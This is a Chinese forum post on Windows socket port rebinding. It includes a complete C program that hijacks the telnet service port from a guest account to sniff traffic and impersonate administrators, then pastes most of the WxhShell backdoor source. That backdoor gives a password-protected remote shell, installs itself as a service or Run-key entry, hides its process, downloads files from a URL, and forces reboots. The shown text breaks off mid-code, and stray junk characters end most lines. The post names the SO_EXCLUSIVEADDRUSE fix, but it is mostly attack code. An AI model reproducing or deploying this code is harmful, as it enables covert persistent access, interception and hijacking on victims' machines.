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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9UD @MA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j[e,?!8;  
;BBpN`T  
  saddr.sin_family = AF_INET; lG"H4Aa>  
yV]xRaRr2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); R$6qoqv{yG  
=r6qX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +nU.p/cK+\  
3-x%wD.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &u8z5pls8  
OJ,m1{9$}  
  这意味着什么?意味着可以进行如下的攻击: E%3TP_B3  
7z'h a?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ade }g'  
-s"0/)HD  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8^ #mvHah  
J@#?@0]F  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c`kQvXx  
&drFQ|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  LWmB, Zf/  
KoHGweKl#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rt!r2dq"  
V4K'R2t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f)6))  
J8Z0D:5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D>kD1B1  
HL8eD^  
  #include ;j'Daupt;=  
  #include VKuAO$s$  
  #include e7k%6'@  
  #include    VLI'    
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^v :Zo  
  int main() oU+F3b}5p  
  { eegx'VSX4  
  WORD wVersionRequested; r9@AT(  
  DWORD ret; E*CcV;  
  WSADATA wsaData; ]U_ec*a  
  BOOL val; TFH&(_b  
  SOCKADDR_IN saddr; 4gZ &^y'  
  SOCKADDR_IN scaddr; <z0WLw0'z  
  int err; q7Es$zjX  
  SOCKET s; _vl}*/=Hc  
  SOCKET sc; p/olCmHD)  
  int caddsize; X0uJNHO  
  HANDLE mt; yyP-=Lhmo=  
  DWORD tid;   .SS<MDcqIt  
  wVersionRequested = MAKEWORD( 2, 2 ); r>|-2}{N/  
  err = WSAStartup( wVersionRequested, &wsaData );  .i/m  
  if ( err != 0 ) { ht6244:  
  printf("error!WSAStartup failed!\n"); vg\/DbI'  
  return -1; -9+se  
  } Z4q~@|+%  
  saddr.sin_family = AF_INET; {IM! Wb  
   }Dfwm)]Q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <hvRP!~<)  
r"wtZ]69  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); J;QUPpH Z  
  saddr.sin_port = htons(23); $G !R,eQ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I:=dG[\h2  
  { sYn[uPefj  
  printf("error!socket failed!\n"); ls|LCQPx  
  return -1; 82:Wvp6  
  } 74J@F2g}?  
  val = TRUE; h @/;`E[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2qU&l|>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) H^AE|U*-G  
  { S4A q'  
  printf("error!setsockopt failed!\n"); WES#ZYtT  
  return -1; = r4!V>  
  } 8q^o.+9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Uems\I0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sqO< J$tz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7"2b H  
+4)7j&L  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p EusTP  
  { Hfc"L>  
  ret=GetLastError(); X?Pl<l&  
  printf("error!bind failed!\n"); ALT^8c&K  
  return -1; nCnjq=  
  } {1Eu7l-4  
  listen(s,2); w1^QD^KnH  
  while(1) [r-}bp'Gp  
  { m $dV<  
  caddsize = sizeof(scaddr); !m y8AWO'  
  //接受连接请求 kfrY1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); elO<a]hX  
  if(sc!=INVALID_SOCKET) W>-B [5O&[  
  { WxUxc75  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %dttE)oH?  
  if(mt==NULL) +c$I&JO  
  { #@f[bP}a  
  printf("Thread Creat Failed!\n"); jAhP> t:  
  break; lK(Fg  
  } e XV@.  
  } 7+,vTsCd  
  CloseHandle(mt); -n))*.V  
  } c:hK$C)T  
  closesocket(s); Gt-UJ-RR y  
  WSACleanup(); vNDu9ovs-  
  return 0; 3Qn!y\#  
  }   mY-hN|  
  DWORD WINAPI ClientThread(LPVOID lpParam) Le#spvV3J|  
  { 1|| nR4yK  
  SOCKET ss = (SOCKET)lpParam; LR&_2e^[  
  SOCKET sc; m5c&&v6%"b  
  unsigned char buf[4096]; ^twivNB  
  SOCKADDR_IN saddr; +wfVL|.Wq  
  long num; -,# +`>w  
  DWORD val; !{UTD+|=N  
  DWORD ret; "IjI'c  
  //如果是隐藏端口应用的话,可以在此处加一些判断 AHbZQulC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r@}bDkx  
  saddr.sin_family = AF_INET; xyeA  2Y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4g` jd  
  saddr.sin_port = htons(23); [~mGsXV  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =JO^XwUOo  
  { AR&:Q4r|  
  printf("error!socket failed!\n"); +]wuJSxc  
  return -1; q9*MNHg }  
  } &xd.Qi2  
  val = 100; smy}3k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k4\UK#ODe  
  { @!%n$>p/V  
  ret = GetLastError(); IApT'QNM  
  return -1; X(AN)&L[  
  } 4[2_,9}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /DFV$+9  
  { Tx>K:`oB  
  ret = GetLastError(); EtJ8^[u2J  
  return -1; 2& LQg=O  
  } aMuVqZw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $95~5]-nh  
  { blt'={Z?.x  
  printf("error!socket connect failed!\n"); 8*a), 3aK  
  closesocket(sc); .2:\:H~3  
  closesocket(ss); )P Jw+5  
  return -1; |\9TvN^$`  
  } t;q7t!sC]  
  while(1) nvq3*  
  { X` r* ob  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :}}%#/nd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 iz^qR={bW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 IyUdZ,ba  
  num = recv(ss,buf,4096,0); Zj9c9  
  if(num>0) C*kK)6v `  
  send(sc,buf,num,0); Kuw^qX"  
  else if(num==0) lFG9=Wf  
  break; fb]S-z(  
  num = recv(sc,buf,4096,0); tjnPyaJEl  
  if(num>0) a:rX9-**  
  send(ss,buf,num,0); %5'6Tj  
  else if(num==0) wxQ>ifi9Z  
  break; /BA{O&Ro^  
  } }d Ad$^  
  closesocket(ss); K?.e|  
  closesocket(sc); hvV_xD8|  
  return 0 ; c-1q2y  
  } ;iQEkn2T|}  
mLbN/M  
YlK7;yrq(  
========================================================== p3951-D  
F iAY\4  
下边附上一个代码,,WXhSHELL .K8w8X/3  
Sb&lhgW]c  
========================================================== ) ]6h y9<  
8/%6@Y"Y*  
#include "stdafx.h" :py\ |  
!7p}C-RZp  
#include <stdio.h> 2b@tj 5  
#include <string.h> |F$BvCg  
#include <windows.h> ,_v|#g@{  
#include <winsock2.h> ^q[gxuL_  
#include <winsvc.h> `FF8ie8L  
#include <urlmon.h> D)b}f`  
8G^<[`.@j  
#pragma comment (lib, "Ws2_32.lib") E9fxjI%1  
#pragma comment (lib, "urlmon.lib")  ht97s  
%/9;ZV  
#define MAX_USER   100 // 最大客户端连接数 R`'1t3p0i  
#define BUF_SOCK   200 // sock buffer \}*k)$r  
#define KEY_BUFF   255 // 输入 buffer fC-P.:F#I  
@'FE2^~Jj  
#define REBOOT     0   // 重启 ,ZE?{G{tuj  
#define SHUTDOWN   1   // 关机 c WAtju?L;  
{=:#S+^ER  
#define DEF_PORT   5000 // 监听端口 fL*T3[d  
<E,%@  
#define REG_LEN     16   // 注册表键长度 sp9W?IJ 6c  
#define SVC_LEN     80   // NT服务名长度 wVl+]zB  
GC@+V|u  
// 从dll定义API i?@M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U7$WiPTNL9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r4}*l7Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a|j%n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0S/' 94%w  
fRZ KEIyk  
// wxhshell配置信息 W_YY#wf_  
struct WSCFG { ?}p:J{  
  int ws_port;         // 监听端口 nA7M8HB  
  char ws_passstr[REG_LEN]; // 口令 pf"<!O[  
  int ws_autoins;       // 安装标记, 1=yes 0=no AG6K daJ  
  char ws_regname[REG_LEN]; // 注册表键名 (K..k-o`.  
  char ws_svcname[REG_LEN]; // 服务名 E)N<lh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8AFczeg[[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I s57F4[}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IND]j72  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i&Fiq&V)[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !vD{Df>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G%l u28}D  
$0A~uDbs  
}; T? ,P*l  
b-5y9K  
// default Wxhshell configuration zDOKShG  
struct WSCFG wscfg={DEF_PORT, h11.'Eej`  
    "xuhuanlingzhe", %b2oiKSBx?  
    1, e( X|3h|  
    "Wxhshell", LaMLv<)k  
    "Wxhshell", _~'+Qe_o$5  
            "WxhShell Service", s,]%dG!  
    "Wrsky Windows CmdShell Service", v;1F[?@3Y  
    "Please Input Your Password: ", n'FwM\  
  1, U/{6% Qy  
  "http://www.wrsky.com/wxhshell.exe", Zi\['2CG  
  "Wxhshell.exe" W;6vpPhg#!  
    }; c:!zO\P#  
cu!W4Ub<  
// 消息定义模块 /'.=sH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  :nY 2O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .4y>QN#VL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4-GXmC  
char *msg_ws_ext="\n\rExit."; bru/AZ#de  
char *msg_ws_end="\n\rQuit."; (oz$B0HO:  
char *msg_ws_boot="\n\rReboot..."; 6X2PYJJZ  
char *msg_ws_poff="\n\rShutdown..."; uGU; Y'W)  
char *msg_ws_down="\n\rSave to "; Y5q3T`x E  
SGc8^%-`  
char *msg_ws_err="\n\rErr!"; Y.#:HRtgW  
char *msg_ws_ok="\n\rOK!"; p,g1eb|E  
ef!XV7 P  
char ExeFile[MAX_PATH]; ~X(UcZ2  
int nUser = 0; 7Z,opc  
HANDLE handles[MAX_USER]; y@V_g'  
int OsIsNt; siDh="{s  
UaG1c%7?X  
SERVICE_STATUS       serviceStatus; 3riw1r;Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5~sx:0;  
I751 t  
// 函数声明 9Z"+?bv/  
int Install(void); "6ECgyD+E!  
int Uninstall(void); `Mj}md;O"  
int DownloadFile(char *sURL, SOCKET wsh); -f1k0QwL  
int Boot(int flag); 0JuD ^  
void HideProc(void); TJ8E"t*)  
int GetOsVer(void); +k<w!B*  
int Wxhshell(SOCKET wsl); x`RTp:#  
void TalkWithClient(void *cs); >O9o,o/6R  
int CmdShell(SOCKET sock); `Hx~UH)  
int StartFromService(void); @wmi 5oExc  
int StartWxhshell(LPSTR lpCmdLine); t>)45<PEw  
4674SzL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F|bYWYED;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ikBYd }5  
va|*c22;|  
// 数据结构和表定义 Q?t^@  
SERVICE_TABLE_ENTRY DispatchTable[] = 3oZ=k]\  
{ p{dwZ_gl  
{wscfg.ws_svcname, NTServiceMain}, eas:6Q)  
{NULL, NULL} v60^4K>  
}; 9i5,2~  
rX7QbAB  
// 自我安装 s?Uh|BfB  
int Install(void) _Us*+ 2(4L  
{ A=zPL q{Sb  
  char svExeFile[MAX_PATH]; )2q~u%9n  
  HKEY key; AdZ;j6#  
  strcpy(svExeFile,ExeFile); s pLZ2]A  
|WryBzZ>on  
// 如果是win9x系统,修改注册表设为自启动 -~" :f8  
if(!OsIsNt) { nR>r2wMk@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jVgFZ,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X6+qpp  
  RegCloseKey(key); VQI(Vp|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E`H$YS3o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XZNY4/ 25G  
  RegCloseKey(key); -m= 8&B  
  return 0; m9}AG Rj  
    } ]j~"mFAP  
  } y)c5u%(  
} ^I mP`*X  
else { pg+[y<B  
wu9=N ^x  
// 如果是NT以上系统,安装为系统服务 o'<^LYSnB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bOp54WI-g  
if (schSCManager!=0) 1{Mcs%W;w5  
{ )\;Z4x;]U  
  SC_HANDLE schService = CreateService q*![AzFh  
  ( )QagS.L{z  
  schSCManager, nfW&1a  
  wscfg.ws_svcname, @XD+'{]  
  wscfg.ws_svcdisp, 8.=\GV  
  SERVICE_ALL_ACCESS, \,Lo>G`!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'D1A}X  
  SERVICE_AUTO_START, V(MFna)  
  SERVICE_ERROR_NORMAL, jeyLL<  
  svExeFile, kU-t7'?4  
  NULL, w6dFb6~R  
  NULL, 9vNkZ-1  
  NULL, + 1IQYa|  
  NULL, /"H`.LD.?  
  NULL w=h1pwY  
  ); f~OU*P>V@  
  if (schService!=0)  8@{OR"Ec  
  { kPBV6+d~  
  CloseServiceHandle(schService); Zc |/{$>:W  
  CloseServiceHandle(schSCManager); CBQhIvq.d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SQ,?N XZ  
  strcat(svExeFile,wscfg.ws_svcname); <!$:8ls  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (KZHX5T=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dm "n%  
  RegCloseKey(key); [a o U5;7  
  return 0;  O|A_PyW  
    } ;R=.iOn  
  } +(D$9{y   
  CloseServiceHandle(schSCManager); "1q>At  
} $P7iRM]  
} j6~nE'sQ  
X7UuwIIP  
return 1; qzw'zV  
} iGDLZE+?  
cH-@V<  
// 自我卸载 ]{ BE r*  
int Uninstall(void) 0,s$T2  
{ bb42v7?  
  HKEY key; b?4/#&z]  
n 26Y]7N  
if(!OsIsNt) { a9zw)A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {k.MS-q  
  RegDeleteValue(key,wscfg.ws_regname); iz(u=/*\  
  RegCloseKey(key); 0yx3OY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @\oz4^  
  RegDeleteValue(key,wscfg.ws_regname); v]% WH~>  
  RegCloseKey(key); *?+V65~dW  
  return 0; G iq=*D+  
  } 5WqXo{S  
} O?8Ni=]  
} Nfe>3uQK  
else { $I#q  
8;y&Pb~)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DcMJ^=r8O:  
if (schSCManager!=0) vB37M@wm  
{ G1t\Q-|l0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L{l6Dd43q  
  if (schService!=0) IC{eE  
  { y~ G.V,0  
  if(DeleteService(schService)!=0) { Zn,>]X  
  CloseServiceHandle(schService); o]{uc,  
  CloseServiceHandle(schSCManager); %;D+k  
  return 0; k *R<,  
  } 4ww]9J  
  CloseServiceHandle(schService); )5%C3/Dl!  
  } 6*l^1;U  
  CloseServiceHandle(schSCManager); cH<q:OYi  
} VKm!Ri$  
} FVv8--  
4$/i%B#ad  
return 1; ~.PO[hC  
} .0u/|Yx  
2M)]!lYy  
// 从指定url下载文件 b,P]9$Ut  
int DownloadFile(char *sURL, SOCKET wsh) ~ `>e5OgOJ  
{ /2{5;  
  HRESULT hr; k"k J_(  
char seps[]= "/"; T9 <2A1  
char *token; &2-L. Xb  
char *file; ,:Vm6u!  
char myURL[MAX_PATH]; :RSz4  
char myFILE[MAX_PATH]; EA.D}XC  
M,j(=hRJ/E  
strcpy(myURL,sURL); zPEg  
  token=strtok(myURL,seps); juAMAplf  
  while(token!=NULL) dX8hpQ  
  { #B'aU#$u  
    file=token; + SZYg[  
  token=strtok(NULL,seps); 5_0(D;Q  
  } @ P@c.*}s  
%pu Lr'Y  
GetCurrentDirectory(MAX_PATH,myFILE); =H0vE7{*  
strcat(myFILE, "\\"); #{r#;+  
strcat(myFILE, file); e@@?AB$n(  
  send(wsh,myFILE,strlen(myFILE),0); ,=(Z00#(  
send(wsh,"...",3,0); b1pQ`qt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CV$],BM  
  if(hr==S_OK) at!Y3VywG  
return 0; l ?Y_~Wuw  
else ^^i6|l1  
return 1; *?QE2&S:  
3QI?[R.  
} %xwIt~Y  
)Fd HV;K  
// 系统电源模块 K.C> a:J  
int Boot(int flag) 0.r4f'vk  
{ #8{F9w<Rf  
  HANDLE hToken; 9[v1h,L  
  TOKEN_PRIVILEGES tkp; D PrBFmHF  
>}~#>Ru  
  if(OsIsNt) { /wQL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]DFXPV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U,/6;}  
    tkp.PrivilegeCount = 1; U(&oj e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y#Ht{)C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \&V0vN1  
if(flag==REBOOT) { c~A4gtB=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "HD+rmUEH  
  return 0; sDqe(x}a  
} {qKxz9.y  
else { /Y[~-Y+!,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PI A)d-Z  
  return 0; 4vK8kkW1  
} GwsY-jf  
  } [~W`E1,  
  else { fsO9EEn7 X  
if(flag==REBOOT) { *IlaM'[*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yTE%hHH]&[  
  return 0; aYL|@R5;e  
} KDi|(  
else { |( (zTf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [#" =yzR<3  
  return 0; *y`%]Hy<  
} j^`X~gE  
} F} J-gZl  
/9Q3iV$I]  
return 1; nM=e]qH  
} Y**|N8e  
4!$ M q;U  
// win9x进程隐藏模块 -7WW[ w  
void HideProc(void) 78n=nHS  
{ 2^~<("+w  
"wH)mQnd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HDM<w+ZxX  
  if ( hKernel != NULL ) L~{_!Q  
  { LiDvaF:@L!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dGZntT 2D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0uVv<Q~  
    FreeLibrary(hKernel); W#_/ak$uF*  
  } nGZX7Fx5  
J2GcBzRH  
return; )g| BMmB  
} 8B!aO/Km  
:/YO ni1h  
// 获取操作系统版本 JnD {J`:  
int GetOsVer(void) &a> lWE  
{ Y izE5[*  
  OSVERSIONINFO winfo; Auy".br'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n9LGP2#!  
  GetVersionEx(&winfo); M"=n>;*X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VvByHcLv  
  return 1; ;y?);!g  
  else ;N+$2w  
  return 0; TL= YQA  
} RKd  
ydl jw  
// 客户端句柄模块 4kp im  
int Wxhshell(SOCKET wsl) ?{o/I\\  
{ [~5p>'  
  SOCKET wsh; maMHZ\ Q  
  struct sockaddr_in client; t$& Qv)  
  DWORD myID; ,lY aA5&I  
Q+|{Bs)6i1  
  while(nUser<MAX_USER) k>4qkigjc  
{ OQ/<-+<w  
  int nSize=sizeof(client); XCB?ll*^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r'/;O  
  if(wsh==INVALID_SOCKET) return 1; OL59e %X  
;:&?=d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V BoMT:#  
if(handles[nUser]==0) v|Jlf$>  
  closesocket(wsh); h SqY$P  
else &Y|Xd4:  
  nUser++; :@ uIxa$[  
  } n_[i0x7#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .W\ve>;  
,cTgR78'  
  return 0; "yb WDWu  
} z,;;=V6j  
>hMUr*j  
// 关闭 socket LDT(]HJ  
void CloseIt(SOCKET wsh) ZU'!iU|8  
{ KV!<Oq  
closesocket(wsh); AH7L.L+$M  
nUser--; .;/L2Jv  
ExitThread(0); S^RUw  
} r2*<\ax  
)9"oL!2h  
// 客户端请求句柄 :LJ7ru2  
void TalkWithClient(void *cs) yFIy`9R  
{ 6y+b5-{'  
wjU.W5IR  
  SOCKET wsh=(SOCKET)cs; UP1?5Q=H]Q  
  char pwd[SVC_LEN]; Gu(lI ~  
  char cmd[KEY_BUFF]; O0l^*nZ46t  
char chr[1]; e&Y0}oY  
int i,j; E,G<_40  
OTvROJP  
  while (nUser < MAX_USER) { 9 wa,k  
]o.vB}WsY  
if(wscfg.ws_passstr) { \9c$`nn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,+/zH'U}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;|ub!z9GG  
  //ZeroMemory(pwd,KEY_BUFF); IY(h~O  
      i=0; `{<frB@  
  while(i<SVC_LEN) { pck>;V  
QezSJ io  
  // 设置超时 @9 8;VWY\  
  fd_set FdRead; H>7dND 2;  
  struct timeval TimeOut; kN9yO5 h7  
  FD_ZERO(&FdRead); ,krS-.  
  FD_SET(wsh,&FdRead); ND]S(C"?  
  TimeOut.tv_sec=8; "Tbnxx]J  
  TimeOut.tv_usec=0; C? m,ta3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =Z0t :{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,cHU) j  
'UwI*EW2S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GKtS6$1d#  
  pwd=chr[0]; x/TGp?\g  
  if(chr[0]==0xd || chr[0]==0xa) { z MdC  
  pwd=0; Rph%*~'  
  break; 2=*=^)FNI  
  }  y).P=z  
  i++; QEJGnl676  
    } E:A!wS`"  
*_hLD5K!  
  // 如果是非法用户,关闭 socket WO</Q6+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GG-[`!>.pw  
} O&?.&h  
=V$j6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M-9gD[m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6v z1*\:H~  
Q |hm1q  
while(1) { -e>|kPfv!  
Agy <j   
  ZeroMemory(cmd,KEY_BUFF); )^;DGzG  
L@)&vn]  
      // 自动支持客户端 telnet标准   <)#kq1b?  
  j=0; U{1z;lJ  
  while(j<KEY_BUFF) { us{nyil1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hY8#b)l~lu  
  cmd[j]=chr[0];  WR.x&m>  
  if(chr[0]==0xa || chr[0]==0xd) { bkQ3c-C<  
  cmd[j]=0; uDG+SdyN@  
  break; )s")y  
  } &sOM>^SAD  
  j++; E20&hc5 8  
    } ia{kab|_5  
T!^Mvat  
  // 下载文件 }=GM ?,7b  
  if(strstr(cmd,"http://")) { &TT":FPR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V/y=6wUiSl  
  if(DownloadFile(cmd,wsh)) 9{eBgdC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cH"@d^"+q|  
  else gbGTG(:1S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |O (G nsZ  
  } zXre~b03ZS  
  else { = HE m)  
H?:Jq\Ba0  
    switch(cmd[0]) {  4#rAm"H  
  kL7^$  
  // 帮助 HHS45kg[c  
  case '?': { K5flit4-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1j3=o }m  
    break; EF;,Gjh5p  
  } 31XU7A  
  // 安装 olty4kGD$V  
  case 'i': { RO oE%%8I  
    if(Install()) 0n5UKtB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7:o+iP46  
    else _Y-$}KwY!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rx:lKoOnB  
    break; -9G]x{>  
    }  KOS yh<&  
  // 卸载 0|C[-ppr  
  case 'r': { 7%CIt?Z%  
    if(Uninstall()) `"Dy%&U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ak=UtDN[  
    else 5-'vB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L>nO:`>h  
    break; #v8Cy|I  
    } 60PYCqWc  
  // 显示 wxhshell 所在路径 BX$hAQ(6Q  
  case 'p': { `Cj,HI_/*  
    char svExeFile[MAX_PATH]; `^%GN8d}nm  
    strcpy(svExeFile,"\n\r"); "6V_/u5M;=  
      strcat(svExeFile,ExeFile); hEOJb @:R  
        send(wsh,svExeFile,strlen(svExeFile),0); $FCw$+w  
    break; ^Kw(& v  
    } /=M.-MU2  
  // 重启 v MWC(m  
  case 'b': { faVS2TN4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s^PmnFR  
    if(Boot(REBOOT)) Y'_ D<Mp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g{a d0.y,  
    else { {Gkn_h-^  
    closesocket(wsh); )6G+tU'  
    ExitThread(0); |Ow$n  
    } 7SHo%b A  
    break; 4TJ!jDkox  
    } r,nn~  
  // 关机 ,4Y sZ  
  case 'd': { 1UyH0`&  
